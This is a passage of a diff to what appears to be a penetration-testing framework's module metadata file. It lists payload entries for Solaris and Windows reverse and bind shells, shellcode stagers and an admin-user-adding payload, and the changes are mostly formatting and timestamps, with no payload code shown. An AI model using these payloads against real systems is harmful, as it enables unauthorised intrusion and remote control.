"mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_find_port.rb", "is_install_path": true, "ref_name": "solaris/sparc/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251300,9 +253387,7 @@ "payload_solaris/sparc/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", "fullname": "payload/solaris/sparc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251310,24 +253395,21 @@ "vlad902 " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "solaris/sparc/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251336,9 +253418,7 @@ "payload_solaris/x86/shell_bind_tcp": { "name": "Solaris Command Shell, Bind TCP Inline", "fullname": "payload/solaris/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251346,24 +253426,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "solaris/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251372,9 +253449,7 @@ "payload_solaris/x86/shell_find_port": { "name": "Solaris Command Shell, Find Port Inline", "fullname": "payload/solaris/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251382,24 +253457,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "solaris/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251408,9 +253480,7 @@ "payload_solaris/x86/shell_reverse_tcp": { "name": "Solaris Command Shell, Reverse TCP Inline", "fullname": "payload/solaris/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251418,24 +253488,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Solaris", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "solaris/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251444,9 +253511,7 @@ "payload_tty/unix/interact": { "name": "Unix TTY, Interact with Established Connection", "fullname": "payload/tty/unix/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251454,23 +253519,60 @@ "hdm " ], "description": "Interacts with a TTY on an established socket connection", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "tty", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/tty/unix/interact.rb", "is_install_path": true, "ref_name": "tty/unix/interact", "check": false, "post_auth": false, "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 1, + "staged": false + }, + "payload_windows/aarch64/exec": { + "name": "Windows AArch64 Command Execution", + "fullname": "payload/windows/aarch64/exec", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "alanfoster", + "Alexander \"xaitax\" Hagenah" + ], + "description": "Executes an arbitrary command on a Windows on ARM (AArch64) target.\n This payload is a foundational example of position-independent shellcode for the AArch64 architecture.\n It dynamically resolves the address of the `WinExec` function from `kernel32.dll` by parsing the\n Process Environment Block (PEB) and the module's Export Address Table (EAT) at runtime.\n This technique avoids static imports and hardcoded function addresses, increasing resilience.", + "references": [], + "platform": "Windows", + "arch": "aarch64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-06-30 14:46:51 +0000", + "path": "/modules/payloads/singles/windows/aarch64/exec.rb", + "is_install_path": true, + "ref_name": "windows/aarch64/exec", + "check": false, + "post_auth": false, + "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] }, "session_types": false, "needs_cleanup": false, @@ -251480,9 +253582,7 @@ "payload_windows/adduser": { "name": "Windows Execute net user /ADD", "fullname": "payload/windows/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251492,25 +253592,22 @@ "vlad902 ", "sf " ], - "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", - "references": [ - - ], + "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/adduser.rb", "is_install_path": true, "ref_name": "windows/adduser", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -251519,9 +253616,7 @@ "payload_windows/custom/bind_hidden_ipknock_tcp": { "name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/custom/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251542,15 +253637,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251561,9 +253655,7 @@ "payload_windows/custom/bind_hidden_tcp": { "name": "Windows shellcode stage, Hidden Bind TCP Stager", "fullname": "payload/windows/custom/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251584,15 +253676,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251603,9 +253694,7 @@ "payload_windows/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251616,24 +253705,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251644,9 +253730,7 @@ "payload_windows/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251658,24 +253742,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251686,9 +253767,7 @@ "payload_windows/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251697,24 +253776,21 @@ "UserExistsError" ], "description": "Custom shellcode stage.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251725,9 +253801,7 @@ "payload_windows/custom/bind_nonx_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251736,24 +253810,21 @@ "vlad902 " ], "description": "Custom shellcode stage.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251764,9 +253835,7 @@ "payload_windows/custom/bind_tcp": { "name": "Windows shellcode stage, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251777,24 +253846,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251805,9 +253871,7 @@ "payload_windows/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251820,24 +253884,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/custom/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251848,9 +253909,7 @@ "payload_windows/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251860,24 +253919,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251888,9 +253944,7 @@ "payload_windows/custom/find_tag": { "name": "Windows shellcode stage, Find Tag Ordinal Stager", "fullname": "payload/windows/custom/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251899,24 +253953,21 @@ "skape " ], "description": "Custom shellcode stage.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/custom/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251927,9 +253978,7 @@ "payload_windows/custom/reverse_http": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251938,24 +253987,21 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -251966,9 +254012,7 @@ "payload_windows/custom/reverse_http_proxy_pstore": { "name": "Windows shellcode stage, Reverse HTTP Stager Proxy", "fullname": "payload/windows/custom/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -251977,24 +254021,21 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252005,9 +254046,7 @@ "payload_windows/custom/reverse_https": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/windows/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252016,24 +254055,21 @@ "hdm " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252044,9 +254080,7 @@ "payload_windows/custom/reverse_ipv6_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/custom/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252057,24 +254091,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252085,9 +254116,7 @@ "payload_windows/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252096,24 +254125,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252124,9 +254150,7 @@ "payload_windows/custom/reverse_nonx_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252135,24 +254159,21 @@ "vlad902 " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252163,9 +254184,7 @@ "payload_windows/custom/reverse_ord_tcp": { "name": "Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/custom/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252174,24 +254193,21 @@ "spoonm " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252202,9 +254218,7 @@ "payload_windows/custom/reverse_tcp": { "name": "Windows shellcode stage, Reverse TCP Stager", "fullname": "payload/windows/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252215,24 +254229,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252243,9 +254254,7 @@ "payload_windows/custom/reverse_tcp_allports": { "name": "Windows shellcode stage, Reverse All-Port TCP Stager", "fullname": "payload/windows/custom/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252256,24 +254265,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252284,9 +254290,7 @@ "payload_windows/custom/reverse_tcp_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (DNS)", "fullname": "payload/windows/custom/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252298,24 +254302,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252326,9 +254327,7 @@ "payload_windows/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252341,24 +254340,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252369,9 +254365,7 @@ "payload_windows/custom/reverse_tcp_rc4_dns": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/custom/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252384,24 +254378,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252412,9 +254403,7 @@ "payload_windows/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252424,24 +254413,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252452,9 +254438,7 @@ "payload_windows/custom/reverse_udp": { "name": "Windows shellcode stage, Reverse UDP Stager with UUID Support", "fullname": "payload/windows/custom/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252463,24 +254447,21 @@ "RageLtMan " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_udp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252491,9 +254472,7 @@ "payload_windows/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252503,24 +254482,21 @@ "Borja Merino " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252531,9 +254507,7 @@ "payload_windows/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -252543,24 +254517,21 @@ "Borja Merino " ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -252571,9 +254542,7 @@ 